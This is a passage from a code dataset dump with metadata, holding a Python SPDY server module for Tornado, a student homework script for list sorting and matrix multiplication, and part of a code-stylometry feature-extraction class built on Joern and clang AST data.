_pack_uint(len(self.settings))\n\n for id, (flags, value) in self.settings.items():\n if self.conn.version >= 3:\n id_and_flags = (flags << 24) | id\n else:\n id_and_flags = (id << 8) | flags\n\n chunk += _pack_uint(id_and_flags) + _pack_uint(value)\n\n return self._pack_frame(chunk)\n\n def __repr__(self):\n settings = '\\n'.join(sorted([\"\\t%d(%d):%d\" % (id, setting[0], setting[1]) for id, setting in self.settings.items()]))\n\n return \"SETTINGS frame \\n%s\" % (self.conn.version, self.flags, settings)\n\n\nclass Noop(ControlFrame):\n \"\"\"\n The NOOP control frame is a no-operation frame.\n\n +----------------------------------+\n |1| 2 | 5 |\n +----------------------------------+\n | 0 (Flags) | 0 (Length) |\n +----------------------------------+\n \"\"\"\n def __init__(self, conn, flags):\n super(Noop, self).__init__(conn, flags, TYPE_NOOP)\n\n def _on_body(self, chunk):\n assert len(chunk) == 0\n\n # just ignore it\n\n def pack(self):\n self._pack_frame(b'')\n\n def __repr__(self):\n return \"NOOP frame \" % (self.conn.version, self.flags)\n\n\nclass Ping(ControlFrame):\n \"\"\"\n The PING control frame is a mechanism for measuring a minimal round-trip time from the sender.\n\n +----------------------------------+\n |1| 2 | 6 |\n +----------------------------------+\n | 0 (flags) | 4 (length) |\n +----------------------------------|\n | 32-bit ID |\n +----------------------------------+\n \"\"\"\n def __init__(self, conn, flags=0, id=None):\n super(Ping, self).__init__(conn, flags, TYPE_PING)\n\n self.id = id\n\n def _on_body(self, chunk):\n assert len(chunk) == 4\n\n self.id = _parse_uint(chunk[0:4])\n\n self.conn.pong(self.id)\n\n def pack(self):\n chunk = _pack_uint(self.id)\n\n return self._pack_frame(chunk)\n\n def __repr__(self):\n return \"PING frame \" % (self.conn.version, self.flags, self.id)\n\n\nclass GoAway(ControlFrame):\n \"\"\"\n The GOAWAY control frame is a mechanism to tell the remote side of the connection to stop creating streams on this session.\n\n +----------------------------------+\n |1| version | 7 |\n +----------------------------------+\n | 0 (flags) | 8 (length) |\n +----------------------------------|\n |X| Last-good-stream-ID (31 bits) |\n +----------------------------------+\n | Status code | <- SPDY v3 only\n +----------------------------------+\n \"\"\"\n def __init__(self, conn, flags=0, last_good_stream_id=IGNORE_ALL_STREAMS, status=GOAWAY_STATUS_OK):\n super(GoAway, self).__init__(conn, flags, TYPE_GOAWAY)\n\n self.last_good_stream_id = last_good_stream_id\n self.status = status\n\n def _on_body(self, chunk):\n assert len(chunk) == (8 if self.conn.version >= 3 else 4)\n\n self.last_good_stream_id = _parse_uint(chunk[0:4]) & _last_31_bits\n\n self.status = _parse_uint(chunk[4:8]) if self.conn.version >= 3 else GOAWAY_STATUS_OK\n\n self.conn.last_good_stream_id = self.last_good_stream_id\n\n def pack(self):\n chunk = _pack_uint(self.last_good_stream_id)\n\n return self._pack_frame(chunk)\n\n def __repr__(self):\n return \"GOAWAY frame \" % \\\n (self.conn.version, self.flags, self.last_good_stream_id, self.status)\n\n\nclass Headers(ControlFrame):\n \"\"\"\n This frame augments a stream with additional headers.\n\n SPDY v2\n\n +----------------------------------+\n |C| 2 | 8 |\n +----------------------------------+\n | Flags (8) | Length (24 bits) |\n +----------------------------------+\n |X| Stream-ID (31bits) |\n +----------------------------------+\n | Unused (16 bits) | |\n |-------------------- |\n | Name/value header block |\n +----------------------------------+\n\n +------------------------------------+\n | Number of Name/Value pairs (int16) |\n +------------------------------------+\n | Length of name (int16) |\n +------------------------------------+\n | Name (string) |\n +------------------------------------+\n | Length of value (int16) |\n +------------------------------------+\n | Value (string) |\n +------------------------------------+\n | (repeats) |\n\n\n SPDY v3\n\n +------------------------------------+\n |1| version | 8 |\n +------------------------------------+\n | Flags (8) | Length (24 bits) |\n +------------------------------------+\n |X| Stream-ID (31bits) |\n +------------------------------------+\n | Number of Name/Value pairs (int32) | <+\n +------------------------------------+ |\n | Length of name (int32) | | This section is the \"Name/Value\n +------------------------------------+ | Header Block\", and is compressed.\n | Name (string) | |\n +------------------------------------+ |\n | Length of value (int32) | |\n +------------------------------------+ |\n | Value (string) | |\n +------------------------------------+ |\n | (repeats) | <+\n\n \"\"\"\n def __init__(self, conn, flags):\n super(Headers, self).__init__(conn, flags, TYPE_HEADERS)\n\n def _on_body(self, chunk):\n self.stream_id = _parse_uint(chunk[0:4]) & _last_31_bits\n\n stream = self.conn.streams.get(self.stream_id, None)\n\n if stream:\n self.headers = self._parse_headers(chunk[4:] if self.conn.version >= 3 else chunk[6:])\n\n stream.headers.update(self.headers)\n stream.finished = self.fin\n\n if stream.finished:\n self.conn.parse_stream(stream)\n else:\n spdy_log.warn(\"ignore an invalid HEADERS frame for #%d stream\", self.stream_id)\n\n def __repr__(self):\n headers = '\\n'.join(sorted([\"\\t%s: %s\" % (key, ','.join(values)) for key, values in self.headers.items()]))\n\n return \"\"\"HEADERS frame \n\\t(stream_id=%d)\n%s\"\"\" % (self.conn.version, self.flags, self.stream_id, headers)\n\n\nclass WindowUpdate(ControlFrame):\n \"\"\"\n The WINDOW_UPDATE control frame is used to implement per stream flow control in SPDY.\n\n +----------------------------------+\n |1| version | 9 |\n +----------------------------------+\n | 0 (flags) | 8 (length) |\n +----------------------------------+\n |X| Stream-ID (31-bits) |\n +----------------------------------+\n |X| Delta-Window-Size (31-bits) |\n +----------------------------------+\n \"\"\"\n def __init__(self, conn, flags=0, stream_id=None, delta_window_size=None):\n super(WindowUpdate, self).__init__(conn, flags, TYPE_WINDOW_UPDATE)\n\n self.stream_id = stream_id\n self.delta_window_size = delta_window_size\n\n def _on_body(self, chunk):\n assert len(chunk) == 8\n\n self.stream_id = _parse_uint(chunk[0:4]) & _last_31_bits\n self.delta_window_size = _parse_uint(chunk[0:4]) & _last_31_bits\n\n stream = self.conn.streams.get(self.stream_id, None)\n\n if stream:\n stream.window_size += self.delta_window_size\n\n if stream.window_size > WINDOW_SIZE_MAX:\n self.conn.reset_stream(self.stream_id, ERR_FLOW_CONTROL_ERROR)\n\n def pack(self):\n chunk = _pack_uint(self.stream_id) + _pack_uint(self.delta_window_size)\n\n return self._pack_frame(chunk)\n\n def __repr__(self):\n return \"WINDOW_UPDATE frame \" % \\\n (self.conn.version, self.flags, self.stream_id, self.delta_window_size)\n\n\nclass Credential(ControlFrame):\n \"\"\"\n The CREDENTIAL control frame is used by the client to send additional client certificates to the server.\n\n +----------------------------------+\n |1|000000000000011|0000000000001010|\n +----------------------------------+\n | flags (8) | Length (24 bits) |\n +----------------------------------+\n | Slot (16 bits) | |\n +-----------------+ |\n | Proof Length (32 bits) |\n +----------------------------------+\n | Proof |\n +----------------------------------+ <+\n | Certificate Length (32 bits) | |\n +----------------------------------+ | Repeated until end of frame\n | Certificate | |\n +----------------------------------+ <+\n \"\"\"\n def __init__(self, conn, flags, slot=0, proof=None, certificates=[]):\n super(Credential, self).__init__(conn, flags, TYPE_CREDENTIAL)\n\n self.slot = slot\n self.proof = proof\n self.certificates = certificates\n\n def _on_body(self, chunk):\n self.slot = _parse_ushort(chunk[:2])\n\n size = _parse_uint(chunk[2:6])\n pos = 6\n\n self.proof = chunk[pos:pos + size]\n pos += size\n\n while pos < len(chunk):\n size = _parse_uint(chunk[pos:pos + 4])\n pos += 4\n\n self.certificates.append(chunk[pos:pos + size])\n pos += size\n\n self.conn.certicates[self.slot + 1] = self.certificates\n\n def __repr__(self):\n return \"CREDENTIAL frame \" % \\\n (self.conn.version, self.flags, self.slot)\n\nFRAME_TYPES = {\n TYPE_SYN_STREAM: SyncStream,\n TYPE_SYN_REPLY: SyncReply,\n TYPE_RST_STREAM: RstStream,\n TYPE_SETTINGS: Settings,\n TYPE_NOOP: Noop,\n TYPE_PING: Ping,\n TYPE_GOAWAY: GoAway,\n TYPE_HEADERS: Headers,\n TYPE_WINDOW_UPDATE: WindowUpdate,\n TYPE_CREDENTIAL: Credential,\n}\n\n\nclass SPDYRequest(HTTPRequest):\n def __init__(self, stream, *args, **kwds):\n HTTPRequest.__init__(self, *args, **kwds)\n\n self.stream = stream\n self.replied = False\n\n def write(self, chunk, callback=None):\n assert isinstance(chunk, bytes_type)\n\n if not self.replied:\n idx = chunk.find(b'\\r\\n\\r\\n')\n\n lines = chunk[:idx].split(b'\\r\\n')\n version, status_code, reason = lines.pop(0).split(b' ', maxsplit=2)\n status = status_code + b' ' + reason\n\n if self.connection.version >= 3:\n headers = [(b':status', status), (b':version', version)]\n else:\n headers = [(b'status', status), (b'version', version)]\n\n if self.stream.conn.salt_header:\n headers.append((b'x-salt', base64.b64encode(os.urandom(random.randint(1, 8)))))\n\n headers += [(name.lower(), value) for name, value in [line.split(b': ') for line in lines]]\n\n chunk = chunk[idx + 4:]\n\n self.replied = True\n\n reply_frame = SyncReply(self.connection, 0, self.stream.id, headers, len(chunk) == 0)\n\n self.stream.send(reply_frame)\n\n data_frame = DataFrame(self.connection, 0, self.stream.id, chunk)\n\n self.stream.send(data_frame, callback)\n\n def finish(self):\n if self.stream.frames and isinstance(self.stream.frames[-1][0], DataFrame):\n self.stream.frames[-1][0].flags |= FLAG_FIN\n else:\n data_frame = DataFrame(self.connection, FLAG_FIN, self.stream.id)\n\n self.stream.send(data_frame, self.stream.close)\n\n self._finish_time = time.time()\n\n\nclass SPDYConnection(object):\n \"\"\"Handles a connection to an SPDY client, executing SPDY frames.\n\n We parse SPDY frames, and execute the request callback\n until the HTTP conection is closed.\n \"\"\"\n def __init__(self, stream, address, request_callback, no_keep_alive=False, xheaders=False, protocol=None,\n server_side=True, version=None, max_frame_len=None, min_frame_len=None, header_encoding=None,\n compress_level=None, salt_header=True):\n self.stream = stream\n self.address = address\n # Save the socket's address family now so we know how to\n # interpret self.address even after the stream is closed\n # and its socket attribute replaced with None.\n self.address_family = stream.socket.family\n self.request_callback = request_callback\n self.no_keep_alive = no_keep_alive\n self.xheaders = xheaders\n self.protocol = protocol\n\n self.server_side = server_side\n self.version = version or SPDY_VERSION_AUTO\n self.max_frame_len = max_frame_len or MAX_FRAME_LEN\n self.min_frame_len = min_frame_len or MIN_FRAME_LEN\n self.header_encoding = header_encoding or DEFAULT_HEADER_ENCODING\n self.compress_level = compress_level or DEFAULT_HEADER_COMPRESS_LEVEL\n self.salt_header = salt_header\n\n self.settings = {}\n self.settings_limit = {\n SETTINGS_MAX_CONCURRENT_STREAMS: (FLAG_SETTINGS_PERSIST_VALUE, 100),\n SETTINGS_INITIAL_WINDOW_SIZE: (0, WINDOW_SIZE_DEFAULT),\n }\n self.settings_default = {\n SETTINGS_INITIAL_WINDOW_SIZE: (0, WINDOW_SIZE_DEFAULT),\n SETTINGS_CLIENT_CERTIFICATE_VECTOR_SIZE: (0, CERTIFICATE_VECTOR_DEFAULT),\n }\n self.credentials = [None for _ in range(CERTIFICATE_VECTOR_DEFAULT)]\n self.streams = {}\n self.priority_streams = [[] for _ in range(7)]\n self.control_frames = []\n self.sending = False\n self.last_good_stream_id = None\n self.ping_id = 0\n self.ping_callbacks = {}\n\n self.read_next_frame()\n\n @property\n def deflater(self):\n \"\"\"\n Because header blocks are generally small, implementors may want to reduce the window-size of\n the compression engine from the default 15bits (a 32KB window) to more like 11bits (a 2KB window).\n \"\"\"\n if not hasattr(self, '_deflater'):\n self._deflater = Deflater(self.version, self.compress_level)\n\n return self._deflater\n\n @property\n def inflater(self):\n if not hasattr(self, '_inflater'):\n self._inflater = Inflater(self.version)\n\n return self._inflater\n\n def get_setting(self, id):\n return self.settings[id][1] if id in self.settings else self.settings_default.get(id, [None, None])[1]\n\n def set_setting(self, id, flags, value):\n if id in self.settings_limit and value > self.settings_limit[id][1]:\n value = self.settings_limit[id][1]\n\n frame = Settings(self, settings={\n id: self.settings_limit[id]\n })\n\n self.send_control_frame(frame)\n\n if id == SETTINGS_CLIENT_CERTIFICATE_VECTOR_SIZE and value != len(self.credentials):\n credentials = [None for _ in range(value)]\n\n for i in range(min(len(credentials), len(self.credentials))):\n credentials[i] = self.credentials[i]\n\n self.credentials = credentials\n\n self.settings[id] = (flags, value)\n\n def ping(self, callback):\n frame = Ping(self, self.ping_id)\n\n self.send_control_frame(frame)\n\n self.ping_callbacks[self.ping_id] = (callback, time.time())\n\n self.ping_id += 2\n\n def pong(self, id):\n if (id % 2) == 1:\n frame = Ping(self, id)\n\n self.send_control_frame(frame)\n else:\n if id in self.ping_callbacks:\n callback, ts = self.ping_callbacks.pop(id)\n\n callback(time.time() - ts)\n\n def close(self):\n last_good_stream_id = max(self.streams.keys()) if self.streams else 0\n\n frame = GoAway(self, last_good_stream_id=last_good_stream_id)\n\n self.send_control_frame(frame)\n\n self.last_good_stream_id = IGNORE_ALL_STREAMS\n\n def read_next_frame(self):\n try:\n self.stream.read_bytes(FRAME_HEADER_LEN, self._on_frame_header)\n except StreamClosedError:\n pass # TODO close all the streams\n\n def _on_frame_header(self, chunk):\n #first bit: control or data frame?\n control_frame = (_ord(chunk[0]) & _first_bit == _first_bit)\n\n try:\n if control_frame:\n #second byte (and rest of first, after the first bit): spdy version\n spdy_version = _parse_ushort(chunk[0:2]) & _last_15_bits\n\n #third and fourth byte: frame type\n frame_type = _parse_ushort(chunk[2:4])\n\n #fifth byte: flags\n flags = _ord(chunk[4])\n\n #sixth, seventh and eighth bytes: length\n frame_length = _parse_uint(b\"\\0\" + chunk[5:8])\n\n frame_cls = FRAME_TYPES[frame_type]\n\n if self.version == SPDY_VERSION_AUTO:\n spdy_log.debug(\"auto switch to the SPDY v%d\", spdy_version)\n\n self.version = spdy_version\n\n if spdy_version != self.version:\n raise SPDYProtocolError(\"incorrect SPDY version\")\n\n if not frame_type in FRAME_TYPES:\n raise SPDYProtocolError(\"invalid frame type: {0}\".format(frame_type))\n\n if frame_length > self.max_frame_len:\n raise SPDYProtocolError(\"The SYN_STREAM frame too large\", ERR_FRAME_TOO_LARGE)\n\n if not frame_cls:\n raise SPDYProtocolError(\"unimplemented frame type: {0}\".format(frame_type))\n\n frame = frame_cls(conn=self, flags=flags)\n else:\n #first four bytes, except the first bit: stream_id\n stream_id = _parse_uint(chunk[0:4]) & _last_31_bits\n\n #fifth byte: flags\n flags = _ord(chunk[4])\n\n #sixth, seventh and eighth bytes: length\n frame_length = _parse_uint(\"\\0\" + chunk[5:8])\n\n frame = DataFrame(self, flags, stream_id)\n\n if stream_id not in self.streams:\n raise SPDYProtocolError(\"invalid stream for %d bytes data\" % frame_length, ERR_INVALID_STREAM)\n\n def wrapper(conn, chunk):\n try:\n frame._on_body(chunk)\n\n spdy_log.info(\"recv %s\", repr(frame))\n finally:\n conn.read_next_frame()\n\n self.stream.read_bytes(frame_length, functools.partial(wrapper, self))\n except SPDYProtocolError as ex:\n spdy_log.warn(\"fail to parse frame: %s\", ex.message)\n\n if ex.status_code:\n self.reset_stream(stream_id, ex.status_code)\n\n self.stream.read_bytes(frame_length, self.read_next_frame)\n\n def set_close_callback(self, callback):\n # TODO ignore the close callback\n pass\n\n def add_stream(self, stream):\n if stream.id in self.streams:\n self.reset_stream(stream.id, ERR_PROTOCOL_ERROR)\n else:\n self.streams[stream.id] = stream\n self.priority_streams[stream.priority].append(stream)\n\n if stream.finished:\n self.parse_stream(stream)\n\n def parse_stream(self, stream):\n try:\n headers = stream.headers.copy()\n\n if self.version >= 3:\n scheme = headers.pop(u':scheme')[0]\n version = headers.pop(u':version')[0]\n method = headers.pop(u':method')[0]\n path = headers.pop(u':path')[0]\n host = headers.pop(u':host')[0]\n else:\n scheme = headers.pop(u'scheme')[0]\n version = headers.pop(u'version')[0]\n method = headers.pop(u'method')[0]\n path = headers.pop(u'url')[0]\n host = None\n except KeyError:\n pass # TODO reply with a HTTP 400 BAD REQUEST reply.\n\n # HTTPRequest wants an IP, not a full socket address\n if self.address_family in (socket.AF_INET, socket.AF_INET6):\n remote_ip = self.address[0]\n else:\n # Unix (or other) socket; fake the remote address\n remote_ip = '0.0.0.0'\n\n http_headers = HTTPHeaders()\n\n for name, values in headers.items():\n for value in values:\n http_headers.add(name, value)\n\n request = SPDYRequest(method=method, uri=path, version=version, headers=http_headers, body=stream.data,\n remote_ip=remote_ip, protocol=self.protocol, host=host, connection=self, stream=stream)\n\n if method in (\"POST\", \"PATCH\", \"PUT\"):\n parse_body_arguments(\n request.headers.get(\"Content-Type\", \"\"), stream.data,\n request.arguments, request.files)\n\n if self.version >= 3 and stream.data:\n frame = WindowUpdate(self, stream_id=stream.id, delta_window_size=len(stream.data))\n\n stream.send(frame)\n\n stream.data = ''\n\n self.request_callback(request)\n\n def close_stream(self, stream):\n try:\n self.priority_streams[stream.priority].remove(stream)\n except ValueError:\n pass\n\n def reset_stream(self, stream_id, status_code):\n if stream_id in self.streams:\n self.streams[stream_id].close()\n\n frame = RstStream(self, stream_id, status_code)\n\n self.send_control_frame(frame)\n\n def send_control_frame(self, frame, callback=None):\n assert isinstance(frame, ControlFrame)\n\n self.control_frames.append((frame, callback))\n\n self.send_next_frame()\n\n def get_next_frame(self):\n if self.control_frames:\n return self.control_frames.pop(0)\n\n for i in range(len(self.priority_streams)):\n streams = self.priority_streams[-(i + 1)]\n\n for stream in streams:\n if len(stream.frames) > 0:\n return stream.frames.pop(0)\n\n return None, None\n\n def send_next_frame(self):\n if not self.sending:\n frame, callback = self.get_next_frame()\n\n if frame:\n conn = self\n\n def wrapper():\n conn.sending = False\n\n spdy_log.debug(\"send %s\", repr(frame))\n\n try:\n if hasattr(frame, 'stream_id') and frame.fin and frame.stream_id in self.streams:\n self.streams[frame.stream_id].close()\n\n if callback:\n callback()\n finally:\n conn.send_next_frame()\n\n self.sending = True\n\n self.stream.write(frame.pack(), wrapper)\n\n return frame\n\n self.sending = False\n\n return None\n\n\nclass SPDYServer(HTTPServer):\n def __init__(self, request_callback, no_keep_alive=False, io_loop=None,\n xheaders=False, ssl_options=None, protocol=None, spdy_options=None, **kwargs):\n\n self.npn_enabled = is_py33 and ssl_options is not None and ssl.HAS_NPN\n\n if self.npn_enabled:\n ssl_options.setdefault('protocols', PROTO_SUPPORTS)\n\n self.spdy_options = spdy_options or {}\n\n HTTPServer.__init__(self, request_callback=request_callback, no_keep_alive=no_keep_alive, io_loop=io_loop,\n xheaders=xheaders, ssl_options=ssl_options, protocol=protocol, **kwargs)\n\n def handle_stream(self, stream, address):\n if self.npn_enabled:\n server = self\n\n def on_selected_protocol():\n proto = stream.socket.selected_npn_protocol()\n\n spdy_log.debug(\"client selected %s protocol\" % proto)\n\n if proto == PROTO_HTTP:\n HTTPConnection(stream, address, server.request_callback,\n server.no_keep_alive, server.xheaders, server.protocol)\n else:\n SPDYConnection(stream, address, server.request_callback,\n server.no_keep_alive, server.xheaders, server.protocol,\n server_side=True, version=server.spdy_options.get('version', 3 if proto == PROTO_SPDY_3 else 2),\n max_frame_len=server.spdy_options.get('max_frame_len'),\n min_frame_len=server.spdy_options.get('min_frame_len'),\n header_encoding=server.spdy_options.get('header_encoding'),\n compress_level=server.spdy_options.get('compress_level'),\n salt_header=server.spdy_options.get('salt_header', True))\n\n stream._ssl_connect_callback = on_selected_protocol\n\n stream._add_io_state(IOLoop.READ)\n else:\n SPDYConnection(stream, address, self.request_callback,\n self.no_keep_alive, self.xheaders, self.protocol,\n server_side=True, version=self.spdy_options.get('version'),\n max_frame_len=self.spdy_options.get('max_frame_len'),\n min_frame_len=self.spdy_options.get('min_frame_len'),\n header_encoding=self.spdy_options.get('header_encoding'),\n compress_level=self.spdy_options.get('compress_level'),\n salt_header=self.spdy_options.get('salt_header', True))","sub_path":"tornado/spdy.py","file_name":"spdy.py","file_ext":"py","file_size_in_byte":55352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"454837781","text":"'''\nJarron Bailey\nHomework 5\nDescription: This python file contains two programs, one program returns a sorted list\nand the other multiplies two matrixes\n'''\n\nimport math\n\n\ndef retrieveList():\n '''Takes array form user input and checks to see if its valid'''\n valid = False\n while not valid:\n numList = input(\"Enter a list of numbers(seperated by space): \")\n numsArray = numList.strip().split(\" \")\n valid = isValid(numsArray)\n if len(numList) == 1:\n valid = False\n if not valid:\n print(\"\\n\" + \"Please enter a valid list of number!\")\n\n # Convert Array to int or float, to be sorted correctly\n for ctr in range(len(numsArray)):\n try:\n num = numsArray[ctr]\n numsArray[ctr] = int(num)\n except:\n num = numsArray[ctr]\n numsArray[ctr] = float(num)\n\n return numsArray\n\n\ndef isValid(numsArray):\n '''If each row user inputs is valid the return the row'''\n ctr = 0\n valid = False\n validRow = []\n while ctr < len(numsArray):\n num = numType(numsArray[ctr])\n if num == \"\":\n numsArray.pop(ctr)\n if not isinstance(num, str):\n valid = True\n validRow.append(num)\n else:\n valid = False\n return valid\n ctr += 1\n return validRow\n\n\ndef numType(num):\n '''Takes a number and tries to parses the number into int, float, or string'''\n try:\n if int(num) == float(num):\n num = int(num)\n return num\n except:\n try:\n float(num)\n num = float(num)\n return num\n except:\n return num\n\n\n# Program 2\ndef retrieveMatrix(firstRow=True, rowLen=0, firstMatrix=True, matrixLen=0):\n '''Creates a matrix row by row and validates each row'''\n matrix = []\n valid = False\n quit = False\n rowEntered = False\n ctr = 1\n\n print(\"Enter a matrix of numbers below, please seperate each number by space.\")\n print(\"Enter `q` to complete matrix.\")\n\n # Continue to input colounms until \"q\" is entered\n while not quit:\n numList = input(\"Row: \")\n row = numList.strip().split(\" \")\n validRow = isValid(row)\n valid = False\n\n # Validation of each row\n if type(validRow) is list:\n valid = True\n row = validRow\n if str(row).lower().strip() == '':\n valid = False\n continue\n if len(row) > 0:\n if str(row[0]).lower() == 'q' and rowEntered:\n row.pop()\n quit = True\n valid = False\n break\n if (not valid) and not quit:\n valid = False\n print(\"\\n\" + \"Please enter a valid row of numbers!\")\n if not firstRow and len(row) != rowLen:\n valid = False\n print(\"\\n\" + \"Row lengths must be equal to first row!\")\n\n # If Valid then set matrix row length for other rows, and append row to matrix\n if valid:\n matrix.append(row)\n rowEntered = True\n if len(matrix) == matrixLen and firstMatrix == False:\n break\n if firstRow and not quit:\n rowLen = len(row)\n firstRow = False\n if firstMatrix:\n matrixLen = len(matrix)\n\n return {\"matrix\": matrix, \"rowLen\": rowLen, \"matrixLen\": matrixLen}\n\n\ndef splitArray(resultsArray, rowLen):\n '''Takes an array and return small arrays bases on given row legnth'''\n matrix = []\n row = []\n resultsArray = resultsArray[0]\n lenOfArray = len(resultsArray)\n\n while lenOfArray > 0:\n filterArray = []\n filterArray = resultsArray[0:rowLen]\n row = filterArray\n matrix.append(row)\n if lenOfArray > 0:\n for x in filterArray:\n resultsArray.remove(x)\n lenOfArray = lenOfArray - rowLen\n return matrix\n\n\ndef multiplyMatrix(matrix1, matrix2):\n '''Multiplies two matrixes and return a result'''\n result = []\n X = matrix1\n Y = matrix2\n rowLen = len(matrix1[0])\n maxtrixLen = len(X)\n results = []\n resultRow = []\n\n for i in range(maxtrixLen):\n # iterate through columns of Y\n for j in range(len(Y[0])):\n # iterate through rows of Y\n result = 0\n for k in range(len(Y)):\n # results[i][j] += X[i][k] * Y[k][j]\n try:\n result += X[i][k] * Y[k][j]\n except:\n pass\n resultRounded = round(result, 2)\n resultRow.append(resultRounded)\n results.append(resultRow)\n\n a1 = splitArray(results, rowLen)\n return a1\n\n\ndef printResults(matrix1, matrix2, results):\n '''\n Loops through the two matrixes and the result to create a template for printing to console\n Returns an array with strings to be printed\n '''\n\n symbolsPrinted = False\n middleOfMatrix = math.floor(len(matrix1)/2)\n\n rowLen = len(matrix1[0])\n\n writeToConsole = []\n\n for ctr in range(len(matrix1)):\n row = \"\"\n for i in range(len(matrix1[ctr])):\n row += str(matrix1[ctr][i]) + \" \"\n if (ctr == middleOfMatrix and i == rowLen - 1) and not symbolsPrinted:\n row += \"*\"\n else:\n row += \" \"\n row += \" \"\n for i in range(len(matrix2[ctr])):\n row += str(matrix2[ctr][i]) + \" \"\n if (ctr == middleOfMatrix and i == rowLen - 1) and not symbolsPrinted:\n row += \"=\"\n symbolsPrinted = True\n else:\n row += \" \"\n row += \" \"\n for i in range(len(results[ctr])):\n row += str(results[ctr][i]) + \" \"\n\n writeToConsole.append(row)\n\n return writeToConsole\n\n\ndef main():\n # '''Sorted array'''\n # numList = retrieveList()\n # numList.sort()\n # print(numList)\n # print(\"\")\n '''Matrix Program'''\n matrixVars = retrieveMatrix()\n print(\"\")\n matrixVars2 = retrieveMatrix(\n False, matrixVars[\"rowLen\"], False, matrixVars[\"matrixLen\"])\n\n results = multiplyMatrix(matrixVars[\"matrix\"], matrixVars2[\"matrix\"])\n writeToConsole = printResults(\n matrixVars[\"matrix\"], matrixVars2[\"matrix\"], results)\n\n '''Prints strings from the given arrray to the console'''\n for x in range(len(writeToConsole)):\n print(writeToConsole[x])\n\n\nmain()\n\n# results = multiplyMatrix([[1, 2, 3], [4, 5, 6], [7, 8, 9, ]], [\n# [0, 2.0, 4.0], [1, 4.5, 2.2], [1.1, 4.3, 5.2]])\n","sub_path":"hw-05/Bailey_hw5.py","file_name":"Bailey_hw5.py","file_ext":"py","file_size_in_byte":6612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"448752823","text":"from featureextraction.CodeStyloJoernFeatCl import *\nimport numpy as np\nimport os\nimport typing\nfrom scipy import sparse\n\n\nclass CodeStyloJoernFeatures(CodeStyloFeatures.CodeStyloFeatures):\n \"\"\"\n This class creates the AST features.\n \"\"\"\n\n def __init__(self, inputdata: typing.Union[str, dict], get_lexical_features: bool,\n tf: bool, tfidf: bool,\n trainobject: typing.Optional['CodeStyloJoernFeatures'],\n verbose: bool = False) -> None:\n \"\"\"\n Constructor for Joern/clang-based AST features.\n :param inputdata: Either string with path to directory with *dat files OR dict with lists of features\n for each feature class.\n\n IF dir is given, we will look for dat files created by joern / our clang-based tool. In particular,\n we look for the files: ast_node_bigram.dat, ast_node_types.dat, ast_node_types_avg_dep.dat,\n # code_in_ast_leaves.dat, code_in_ast_leaves_avg_dep.dat, max_depth_ast_node.dat.\n :param get_lexical_features: set to true if we want to extract lexical features additionally.\n These features were reimplemented in our clang tool, since they were not properly extracted in the original\n Java implementation.\n :param: tf set to true if you want to get term frequencies. Note that we only do the tf-idf transformation\n for AST Node Bigrams, AST Node Types and Code in AST Leaves (as suggested by the usenix paper).\n :param: tfidf set to true if you want idf transformation additonally. Ignored if tf is false.\n In contrast to other classes: Note that by setting tf and idf to true, we get tf-features + tf-idf-features,\n look at Table 4 in Caliskan et al., USENIX.\n :param trainobject: used for feature alignment to have same set of features as train set\n and used for tf-idf-transformation. This object should be a CodeStyloJoernFeatures object,\n representing the training set. In particular, this object is used to perform for vectorizing input data\n and the tf-idf transformation by using the already fitted tf-idf-transformer from the trainobject.\n :param verbose: set to true if you want to see some print messages indicating the progress\n \"\"\"\n\n self.verbose = verbose\n self.get_lexical_features = get_lexical_features\n self.tf = tf\n self.tfidf = tfidf\n\n # save all the code stylo subclasses\n self.codestylosubclasses = {} # type: typing.Dict[str, CodeStyloJoernFeatCl]\n\n # call parent's init method that will call read_data_from_source\n super(CodeStyloJoernFeatures, self).__init__(inputdata=inputdata, trainobject=trainobject)\n\n\n\n # @Overwrite\n def read_data_from_source(self, inputdata: typing.Union[str, dict],\n trainobject: typing.Optional['CodeStyloJoernFeatures']):\n\n # A. First, get all AST Node features from the different dat-files,\n # check that the id columns are the same.\n if not isinstance(inputdata, str) and not isinstance(inputdata, dict):\n raise Exception(\"For Joern Code Stylo, use str or dict as input, not other types, such as list\")\n\n # A. Get AST bigrams\n astnodeinput = inputdata[\"ast_node_bigram.dat\"] if isinstance(inputdata, dict) \\\n else os.path.join(inputdata, \"ast_node_bigram.dat\")\n ctrainobj = None if trainobject is None else trainobject.codestylosubclasses[\"ast_node_bigram.dat\"]\n\n self.codestylosubclasses[\"ast_node_bigram.dat\"] = ASTNodeFeature(inputdata=astnodeinput, verbose=self.verbose,\n bigrams=True,\n trainobject=ctrainobj,\n featureclassidentifier=\"ast_node_bigram\")\n\n # A-2. Get further AST features\n astnodefeaturepaths = [\"ast_node_types.dat\", \"ast_node_types_avg_dep.dat\",\n \"code_in_ast_leaves.dat\", \"code_in_ast_leaves_avg_dep.dat\"]\n for cpath in astnodefeaturepaths:\n astnodeinput = inputdata[cpath] if isinstance(inputdata, dict) else os.path.join(inputdata, cpath)\n ctrainobj = None if trainobject is None else trainobject.codestylosubclasses[cpath]\n featureclassident: str = os.path.basename(cpath).split(sep=\".dat\")[0]\n\n self.codestylosubclasses[cpath] = ASTNodeFeature(inputdata=astnodeinput, verbose=self.verbose,\n bigrams=False,\n trainobject=ctrainobj,\n featureclassidentifier=featureclassident)\n\n # B. Get the depth feature\n maxdepthastnodeinput = inputdata[\"max_depth_ast_node.dat\"] if isinstance(inputdata, dict) \\\n else os.path.join(inputdata, \"max_depth_ast_node.dat\")\n ctrainobj = None if trainobject is None else trainobject.codestylosubclasses[\"max_depth_ast_node.dat\"]\n\n self.codestylosubclasses[\"max_depth_ast_node.dat\"] = ASTMaxPropertyFeature(inputdata=maxdepthastnodeinput,\n verbose=self.verbose,\n trainobject=ctrainobj,\n featureclassidentifier=\"max_depth_ast_node\")\n\n # C. We may add the lexical features that we reimplemented via clang\n if self.get_lexical_features:\n lexicalfeaturesinput = inputdata[\"lexical_features.dat\"] if isinstance(inputdata, dict) \\\n else os.path.join(inputdata, \"lexical_features.dat\")\n ctrainobj = None if trainobject is None else trainobject.codestylosubclasses[\"lexical_features.dat\"]\n\n self.codestylosubclasses[\"lexical_features.dat\"] = ASTNodeFeature(inputdata=lexicalfeaturesinput,\n verbose=self.verbose, bigrams=False,\n trainobject=ctrainobj,\n featureclassidentifier=\"lexical_features\")\n\n # for lexical features, we know how many columns we should have. test that.\n assert self.codestylosubclasses[\"lexical_features.dat\"].featurematrix.shape[1] == 5\n\n\n # D. 